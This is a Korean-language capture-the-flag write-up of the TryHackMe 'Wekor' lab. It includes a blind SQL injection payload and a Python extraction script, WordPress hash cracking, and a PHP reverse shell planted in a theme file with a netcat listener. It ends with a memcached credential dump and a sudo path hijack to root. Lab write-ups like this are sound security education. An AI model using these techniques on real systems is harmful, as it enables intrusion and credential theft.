*https://tryhackme.com/r/room/wekorra
Wekor
CTF challenge involving Sqli , WordPress , vhost enumeration and recognizing internal services ;)
tryhackme.com
-Sqlinjection, Subdomain 유출, Reverse shell, 취약한 서비스, 잘못된 경로 설정
-생각보다도 과정이 많아서 힘들었던 문제였습니다. 특히 SQL Injection 포인트를 찾고 Reverse shell 을 연결하는 과정까지가 굉장히 세부과정이 많아서 그냥 sqlmap 쓸까 싶었던 순간이 많았었네요.
1.Port Scan Enumeration - Reconnaissance&Scanning
$ sudo rustscan -r 1-65535 -a wekor.thm -- -sS -sV -O
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
🌍HACK THE PLANET🌍
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.10.232.181:22
Open 10.10.232.181:80
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 60 OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 60 Apache httpd 2.4.18 ((Ubuntu))
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.32 (93%), Linux 2.6.39 - 3.2 (93%), Linux 3.1 - 3.2 (93%), Linux 3.2 - 4.9 (93%), Linux 3.5 (93%)
-22(ssh), 80(http)번이 열려있습니다.
→22번: OpenSSH 7.2p2 Ubuntu
→80번: Apache httpd 2.4.18(Ubuntu)
2.Directory Enumeration - Reconnaissance&Scanning
$ gobuster dir -u http://wekor.thm -w /usr/share/wordlists/dirb/big.txt -t 100 -x .php,.html,.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://wekor.thm
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,html,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd.php (Status: 403) [Size: 274]
/.htaccess (Status: 403) [Size: 274]
/.htaccess.html (Status: 403) [Size: 274]
/.htaccess.txt (Status: 403) [Size: 274]
/.htpasswd.html (Status: 403) [Size: 274]
/.htaccess.php (Status: 403) [Size: 274]
/.htpasswd (Status: 403) [Size: 274]
/.htpasswd.txt (Status: 403) [Size: 274]
/index.html (Status: 200) [Size: 23]
/robots.txt (Status: 200) [Size: 188]
/robots.txt (Status: 200) [Size: 188]
/server-status (Status: 403) [Size: 274]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================
-http://wekor.thm 의 하위 디렉터리에는 robots.txt 파일이 존재했습니다.
-해당 페이지에 접속 시, 다양한 하위 디렉터리 부분을 Disallow 한 것으로 보아, 이중에 중요한 곳이 있을 것으로 추측할 수 있습니다.
-다른 디렉터리는 404에러가 발생했지만 comingreallysoon 디렉터리에는 접근이 가능했으며, '/it-next' 경로에 자신들의 웹 사이트를 구축했다는 메시지를 출력해줍니다.
-'/it-next/it_home.php' 의 모습입니다. 여러가지 서비스와 제품을 판매하는 사이트인 것 같습니다.
-다른 CTF와 마찬가지로 기능이 굉장히 많아 보이지만, 대부분 입력 폼만 구현하고 action 부분을 '#'로 두는 등 동작하지 않도록 작성되어 있습니다.
-'+'와 '-'로 구현된 서비스를 추가적으로 볼 수도 있었습니다. 서비스 자체가 정말 많고 그 안에 세부적으로 구현된 요소들도 많았습니다.
3.Search vulnerability - Gaining access
-이 중 [SHOP] -[Shopping cart] 메뉴로 접근하여 'it_cart.php'에 접근해보면 쿠폰을 적용할 수 있는 기능이 있는데, 해당 부분에 아무 문자열('dd' 등)을 삽입 후 전송 시, 아래와 같이 "Coupon Code Does Not Exist!"를 출력합니다.
-이 부분이 데이터베이스를 사용하고 있다면 SQL Injection이 가능할 수도 있습니다.
-coupon code 부분에 jj 라는 문자열을 삽입하여 전송한 모습입니다.
-Coupon이 올바르지 않다는 "Coupon Code Does Not Exist!" 문구를 출력합니다.
-coupon code 부분에 jj'||'1'='1'-- 문자열을 삽입하여 전송한 모습입니다.
-||은 or로 강제로 참이 리턴되도록 한 구문을 삽입한 것인데, 결과에서 "Coupon Code Does Not Exist!" 문구가 나타나지 않은 것을 보아 SQL Injeciton이 성공했을 가능성이 있습니다.
-성공을 제대로 검증하기 위해서는 같은 구문에서 거짓을 리턴하도록 변경하여 삽입 후 결과에서 "Coupon Code Does Not Exist!"를 출력해야 합니다.
-같은 구문에서 거짓을 리턴하도록 한 구문입니다. "Coupon Code Does Not Exist!" 문구를 볼 수 있으며, 따라서 이를 이용해 Blind SQL Injection이 가능함을 알 수 있습니다.
*메뉴에서 [SHOP] - [Check out] 에서는 로그인 기능도 존재하긴 하던데 입력값에 대한 결과를 출력해주지는 않아서 취약점을 찾지는 못하였습니다.
4.SQL Injeciton - Gaining access
-이전 단계에서 찾은 SQL Injeciton 취약점을 이용해 데이터 베이스의 정보를 추출하도록 자동화 코드를 작성했습니다.
import requests as req
sess = req.Session()
url = 'http://wekor.thm/it-next/it_cart.php'
def get_len(ATTACK):
sp = ATTACK.split(" ")
ATTACK = ("".join(f'length({sp[x]}) ' if x == 1 else f'{sp[x]} ' for x in range(len(sp))))[:-1]
num = 1
while(1):
query = {"coupon_code": f"x'||(({ATTACK})={num})-- ", "apply_coupon":"Apply Coupon"}
res = sess.post(url=url, data=query)
#print(res.text)
if("Coupon Code Does Not Exist!" not in res.text):
number = num
break
elif num>100:
print("No results")
return -1
else:
num += 1
continue
print(f"Length : {number}")
return number
def get_query(length, ATTACK):
data = ''
sp2 = ATTACK.split(" ")
for _ in range(1,length+1):
min_ = 32
max_ = 126
ATTACK = ("".join(f'ord(substr({sp2[x]},{str(_)},1)) ' if x == 1 else f'{sp2[x]} ' for x in range(0,len(sp2))))[:-1]
while(1):
mid = (max_+min_)/2
query = {"coupon_code" : f"x'||(({ATTACK})>{mid})-- ", "apply_coupon":"Apply Coupon"}
res = sess.post(url=url, data=query)
if("Coupon Code Does Not Exist!" not in res.text):
min_ = mid
else:
max_ = mid
if(max_-min_<=1 and max_==mid):
data = data + chr(int(mid))
print(chr(int(mid)), end="\0")
break
return data
if __name__ == "__main__":
while(1):
ATTACK = input("Please Enter the Query >> ")
number = get_len(ATTACK)
if (number == -1):
print("Hey, Check your Query")
continue
res = get_query(number,ATTACK)
print("")
Please Enter the Query >> select database()
->coupons
Please Enter the Query >> select table_name from information_schema.tables where table_schema='coupons'
->valid_coupons
Please Enter the Query >> select column_name from information_schema.columns where table_name='valid_coupons' limit n,1
->id
->coupon
->expire_date
-처음 추출했던 데이터는 coupon에 관한 데이터였습니다. 해당 정보들은 서버의 shell을 얻는데 도움이 되지 않을 것 같았습니다.
Please Enter the Query >> select table_schema from information_schema.tables group by TABLE_SCHEMA limit n,1
->information_schema
->mysql
->performance_schema
->sys
->wordpress
Please Enter the Query >> select table_name from information_schema.tables where table_schema='wordpress' limit n,1
->wp_commentmeta
->wp_comments
->wp_links
->wp_postmeta
->wp_posts
->wp_term_relationships
->wp_term_taxonomy
->wp_termmeta
->wp_terms
->wp_usermeta
->wp_users
Please Enter the Query >> select column_name from information_schema.columns where table_name='wp_users' limit n,1
->ID
->user_login
->user_pass
->user_nicename
->user_email
->user_url
->user_registered
->user_activation_key
->user_status
->display_name
-다른 데이터베이스가 존재하는지 알아보았고, wordpress 데이터베이스가 존재함을 알 수 있었습니다.
-wordpress 데이터베이스의 wp_users 테이블에는 다양한 이용자 정보가 존재하였습니다.
Please Enter the Query >> select ID from wp_users limit n,1
->1
->5743
->5773
->5873
Please Enter the Query >> select {column_name} from wp_users where ID='{id_value}'
1.admin
ID: 1
user_login: admin
user_pass: $P$Boy-------------------------mj10
user_nicename: admin
user_email: admin@wekor.thm
user_url: http://site.wekor.thm/wordpress
user_registered: 2021-01-21 20:33:37
user_activation_key: x
user_status: 0
display_name: admin
2.wp_jeffrey
ID: 5743
user_login: wp_jeffrey
user_pass: $P$BU8-------------------------mj10
user_nicename: wp_jeffrey
user_email: jeffrey@wekor.thm
user_url: http://jeffrey.com
user_registered: 2021-01-21 20:34:50
user_activation_key: 1611261290:$P$-----------------------------E0
user_status: 0
display_name: wp jeffrey
3.wp_yura
ID: 5773
user_login: wp_yura
user_pass: $P$B6j-------------------------6SV/
user_nicename: wp_yura
user_email: yura@wekor.thm
user_url: http://yura.com
user_registered: 2021-01-21 20:35:27
user_activation_key: x
user_status: 0
display_name: wp yura
4.wp_eagle
ID: 5873
user_login: wp_eagle
user_pass: $P$Bpy-------------------------6QY/
user_nicename: wp_eagle
user_email: eagle@wekor.thm
user_url: http://eagle.com
user_registered: 2021-01-21 20:36:11
user_activation_key: x
user_status: 0
display_name: wp eagle
-4개의 계정 정보를 알 수 있었고, 각각 4개의 해시 비밀번호가 존재하는 것을 확인했습니다.
$ hashcat -m 400 ./jeffrey.hash /usr/share/wordlists/rockyou.txt
..
$P$BU8-------------------------mj10:r--------
$ hashcat -m 400 ./yura.hash /usr/share/wordlists/rockyou.txt
..
$P$B6j-------------------------6SV/:s---------
$ hashcat -m 400 ./eagle.hash /usr/share/wordlists/rockyou.txt
..
$P$Bpy-------------------------6QY/:x---------
-admin 계정 빼고 모두 crack이 가능했습니다.
-wp_jeffrey, wp_eagle로 로그인하면 일반적인 wordpress 계정 화면이지만, wp_yura로 로그인하게 되면 환경 설정을 할 수 있는 administrator 페이지로 이동합니다. 해당 페이지로 이동하여 환경 설정을 할 수 있다면, reverse shell을 업로드할 수 있습니다.
5.Connect Reverse shell - Gaining access
-reverse shell 업로드 페이지는 붓 모양 아이콘을 클릭하여 [Edit Themes] - [404 Template(404.php)] 로 이동한 페이지입니다.
-사용한 reverse shell php script는 pentestmonkey의 script이고, 모자이크 한 부분에 공격자의 ip를, 그 아래 포트는 4444로 설정하여 reverse shell 설정을 완료했습니다.
*Pentest monkey php reverse shell script: https://github.com/pentestmonkey/php-reverse-shell
GitHub - pentestmonkey/php-reverse-shell
Contribute to pentestmonkey/php-reverse-shell development by creating an account on GitHub.
github.com
[Attacker shell]
$ nc -nvlp 4444
[Access page]
http://site.wekor.thm/wordpress/wp-content/themes/twentytwentyone/404.php
-nc로 4444번 포트를 열고, 브라우저에서 Access page로 접근합니다.
-Access page는 404.php에 있는 reverse shell을 활성화하기 위해 접근하는 것으로. twentytwentyone은 편집했던 테마를 의미합니다. 접근해야 할 경로는 twentysventeen 등 테마마다 다르므로 이 부분을 확인하고 접근합니다.
$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [x.x.x.x] from (UNKNOWN) [x.x.x.x] 60708
..
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami; id
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
-Access page에 접근하면 reverse shell이 연결됩니다.
6.www-data -> Orka - Privilege Escalation
#[기본 정보]
$ whoami; id
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ getent group sudo
sudo:x:27:
$ sudo -V
Sudo version 1.8.16
Sudoers policy plugin version 1.8.16
Sudoers file grammar version 45
Sudoers I/O plugin version 1.8.16
#[중요 경로 탐색]
$ ls -al /home
total 28
drwxr-xr-x 4 root root 4096 Jul 12 2020 .
drwxr-xr-x 23 root root 4096 Jan 23 2021 ..
drwxr-xr-- 18 Orka Orka 4096 Jan 26 2021 Orka
drwx------ 2 root root 16384 Feb 28 2019 lost+found
$ ls -al /home/Orka/.ssh
ls: cannot access '/home/Orka/.ssh': Permission denied
$ ls -al /etc/shadow
-rw-r----- 1 root shadow 1425 Jan 22 2021 /etc/shadow
$ ls -al /etc/passwd
-rw-r--r-- 1 root root 2392 Jan 22 2021 /etc/passwd
#[suid 파일 검색]
$ find / -perm -4000 -ls 2>/dev/null
8650881 44 -rwsr-xr-x 1 root root 43316 May 7 2014 /bin/ping6
8650880 40 -rwsr-xr-x 1 root root 38932 May 7 2014 /bin/ping
8650927 28 -rwsr-xr-x 1 root root 26492 May 16 2018 /bin/umount
8650806 32 -rwsr-xr-x 1 root root 30112 Jul 12 2016 /bin/fusermount
8650843 36 -rwsr-xr-x 1 root root 34812 May 16 2018 /bin/mount
8650907 40 -rwsr-xr-x 1 root root 38900 May 16 2017 /bin/su
4334424 120 -rwsr-xr-x 1 root root 121420 Jul 10 2020 /usr/lib/snapd/snap-confine
4326351 16 -rwsr-xr-x 1 root root 13960 Mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1
4327571 48 -rwsr-xr-- 1 root messagebus 46436 Jun 11 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
4334253 16 -rwsr-xr-x 1 root root 13840 Mar 18 2017 /usr/lib/i386-linux-gnu/oxide-qt/chrome-sandbox
4330068 8 -rwsr-xr-x 1 root root 5480 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device
4325581 12 -rwsr-sr-x 1 root root 9772 Nov 30 2020 /usr/lib/xorg/Xorg.wrap
4332136 504 -rwsr-xr-x 1 root root 513528 May 26 2020 /usr/lib/openssh/ssh-keysign
4334918 388 -rwsr-xr-- 1 root dip 396068 Jul 23 2020 /usr/sbin/pppd
#[내부 서버 및 서비스 검색]
$ netstat -tulpn
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3010 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:11211 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 ::1:631 :::* LISTEN -
udp 0 0 0.0.0.0:40934 0.0.0.0:* -
udp 0 0 0.0.0.0:5353 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
udp 0 0 0.0.0.0:631 0.0.0.0:* -
udp6 0 0 :::35737 :::* -
udp6 0 0 :::5353 :::* -
-내부 서버 및 서비스를 초반 단계에 검색한 이유는 워게임 페이지에서 주어지는 힌트에 열려있는 포트를 검색해보라는 메시지가 있었기 때문입니다.
-3306번은 mysql, 631번은 cups 라고 생각했고, 3010번 포트와 11211번 포트를 먼저 조사했습니다.
-3010번 포트는 조사하다가 특별한 내용이 없어서 일단 보류하고 11211번 포트를 조사했는데 검색하자마자 Hacktricks 페이지가 상단에 노출되길래 이거구나 싶었습니다.
*https://www.hackingarticles.in/penetration-testing-on-memcached-server/
Penetration Testing on Memcached Server - Hacking Articles
In our previous article, we learned how to configure Memcached Server in Ubuntu 18.04 system to design our own pentest lab. Today we will learn
www.hackingarticles.in
-위 페이지를 참고해보면 Memcached Server 라고하며, 이는 키-값 쌍으로 데이터를 저장하는 메모리 기반 분산 캐시 시스템이라고 합니다.
-이 서버는 Telnet으로 접속할 수 있는데, 방화벽 등 조치가 취해지지 않아 공격자도 접속이 가능합니다.
www-data@osboxes:/$ telnet 127.0.0.1 11211
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
#[Get version]
version
VERSION 1.4.25 Ubuntu
#[Check slab id]
stats items
STAT items:1:number 5
..
#[Get item key]
stats cachedump 1 0
ITEM id [4 b; 1728034504 s]
ITEM email [14 b; 1728034504 s]
ITEM salary [8 b; 1728034504 s]
ITEM password [15 b; 1728034504 s]
ITEM username [4 b; 1728034504 s]
END
#[Get value of key]
get id
VALUE id 0 4
3476
END
get email
VALUE email 0 14
Orka@wekor.thm
END
get salary
VALUE salary 0 8
$100,000
END
get password
VALUE password 0 15
Or--------24/7$
END
get username
VALUE username 0 4
Orka
END
-각 과정을 보기 쉽게 주석으로 정리하였습니다.
-먼저 버전을 확인하였고, item의 slab id를 확인해줍니다. 이 부분을 조금 생략했는데 아래의 item들도 '1'이라는 slab id를 가지고 있었습니다.
-그 다음은 stats cachedump 1 0으로 ITEM 키를 확인했는데, 여기서 '1'은 slab id이고 0은 각 slab id의 모든 키를 가져온다는 의미입니다.
-그렇게 가져온 item key의 value를 get 명령어를 통해 가져왔습니다. 해당 값들은 Orka 계정에 관한 것이었습니다.
www-data@osboxes:/$ su Orka
Password:
Orka@osboxes:/$ whoami;id
Orka
uid=1001(Orka) gid=1001(Orka) groups=1001(Orka)
-얻은 정보로 Orka에 로그인하면 Orka 계정을 얻을 수 있습니다.
7.Orka -> root - Privilege Escalation
Orka@osboxes:/$ sudo -l
[sudo] password for Orka:
Matching Defaults entries for Orka on osboxes:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User Orka may run the following commands on osboxes:
(root) /home/Orka/Desktop/bitcoin
-Orka는 root 권한이 있습니다. '/home/Orka/Desktop/bitcoin'을 sudo 권한으로 실행할 수 있습니다.
#[경로 권한 확인]
Orka@osboxes:/$ ls -al /home/Orka/
total 116
..
drwxrwxr-x 2 root root 4096 Jan 23 2021 Desktop
..
Orka@osboxes:/$ ls -al /home/Orka/Desktop/bitcoin
-rwxr-xr-x 1 root root 7696 Jan 23 2021 /home/Orka/Desktop/bitcoin
#[analysis bitcoin binary]
Orka@osboxes:/$ strings /home/Orka/Desktop/bitcoin
..
Enter the password :
password
Access Denied...
Access Granted...
User Manual:
Maximum Amount Of BitCoins Possible To Transfer at a time : 9
Amounts with more than one number will be stripped off!
And Lastly, be careful, everything is logged :)
Amount Of BitCoins :
Sorry, This is not a valid amount!
python /home/Orka/Desktop/transfer.py %c #python!!
..
#[Check python script permission&content]
Orka@osboxes:/$ ls -al /home/Orka/Desktop/transfer.py
-rwxr--r-- 1 root root 588 Jan 23 2021 /home/Orka/Desktop/transfer.py
Orka@osboxes:/$ cat /home/Orka/Desktop/transfer.py
import time
import socket
import sys
import os
result = sys.argv[1]
print "Saving " + result + " BitCoin(s) For Later Use "
test = raw_input("Do you want to make a transfer? Y/N : ")
if test == "Y":
try:
print "Transfering " + result + " BitCoin(s) "
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(("127.0.0.1",3010))
s.send("Transfer : " + result + "To https://transfer.bitcoins.com")
time.sleep(2.5)
print ("Transfer Completed Successfully...")
time.sleep(1)
s.close()
except:
print("Error!")
else:
print("Quitting...")
time.sleep(1)
-얻은 정보는 위와 같습니다. 기본적으로 bitcoin 파일이나 /home/Orka/Desktop의 소유자, 소유그룹이 모두 root입니다.
-또한 내용도 연결된 것이 많아서 굉장히 해맬 수 있는데, 공격은 생각보다 간단했습니다.
#[Privilege Escalation]
Orka@osboxes:~$ mv Desktop/ Desktop_bak
Orka@osboxes:~$ mkdir Desktop
Orka@osboxes:~$ cd Desktop
Orka@osboxes:~/Desktop$ echo '#!/bin/bash' > bitcoin
Orka@osboxes:~/Desktop$ echo '/bin/bash' >> bitcoin
Orka@osboxes:~/Desktop$ chmod +x bitcoin
Orka@osboxes:~/Desktop$ sudo /home/Orka/Desktop/bitcoin
root@osboxes:~/Desktop# whoami; id
root
uid=0(root) gid=0(root) groups=0(root)
-root가 이용자(Orka)의 홈 디렉터리에 생성한 디렉터리는 이용자(Orka) 권한으로도 mv 명령어를 사용해서 이름을 변경할 수 있습니다.
-현재 sudo 권한을 통해 /home/Orka/Desktop/bitcoin 바이너리를 실행하므로 원래의 Desktop 디렉터리를 Desktop_bak으로 이름을 변경하고, Desktop 디렉터리를 생성하여 하위에 /bin/bash를 실행하는 bitcoin bash 파일을 작성해 실행권한을 부여합니다.
-sudo /home/Orka/Desktop/bitcoin 을 실행하면 /bin/bash가 들어있는 bitcoin 파일을 참고하므로 권한을 상승시킬 수 있습니다.
#[/root 아래에 있던 재밌는 파일들]
root@osboxes:~/Desktop# ls -al /root
total 48
drwx------ 5 root root 4096 Jan 26 2021 .
drwxr-xr-x 23 root root 4096 Jan 23 2021 ..
-rw------- 1 root root 0 Jan 23 2021 .bash_history
-rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc
drwx------ 3 root root 4096 Jan 23 2021 .cache
-rwxr-xr-x 1 root root 289 Jan 22 2021 cache.php
-rw------- 1 root root 144 Jan 26 2021 .mysql_history
drwxr-xr-x 2 root root 4096 Jan 21 2021 .nano
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 33 Jul 12 2020 root.txt
-rwxr-xr-x 1 root root 679 Jan 23 2021 server.py
drwxr-xr-x 2 root root 4096 Jul 12 2020 .ssh
-rw-r--r-- 1 root root 25 Jan 21 2021 wordpress_admin.txt
#wordpress_admin.txt, cache.php
#wordpress_admin.txt
admin:krq----------L
#cache.php
<?php
$meminstance = new Memcached();
$meminstance->addServer("127.0.0.1",11211);
$meminstance->set("username","Orka");
$meminstance->set("password","O------------$");
$meminstance->set("salary","$100,000");
$meminstance->set("email","Orka@wekor.thm");
$meminstance->set("id","3476");
-/root 디렉터리 아래에는 admin wordpress 계정 정보와 Memcached Server 관련 파일이 존재했습니다.
Flag
user.txt
Orka@osboxes:~$ cat user.txt
1a2-------------------------dec6
root.txt
root@osboxes:~/Desktop# cat /root/root.txt
f4e7-------------------------ad7
'write-up > penetration test' 카테고리의 다른 글
[wargame - pen]HA Joker CTF (1) | 2024.12.13 |
---|---|
[wargame - pen]Cheese CTF (0) | 2024.10.29 |
[wargame - pen]Pyrat (0) | 2024.10.18 |
[pen]U.A.Highschool (2) | 2024.09.13 |
Tokyo Ghoul (0) | 2024.06.29 |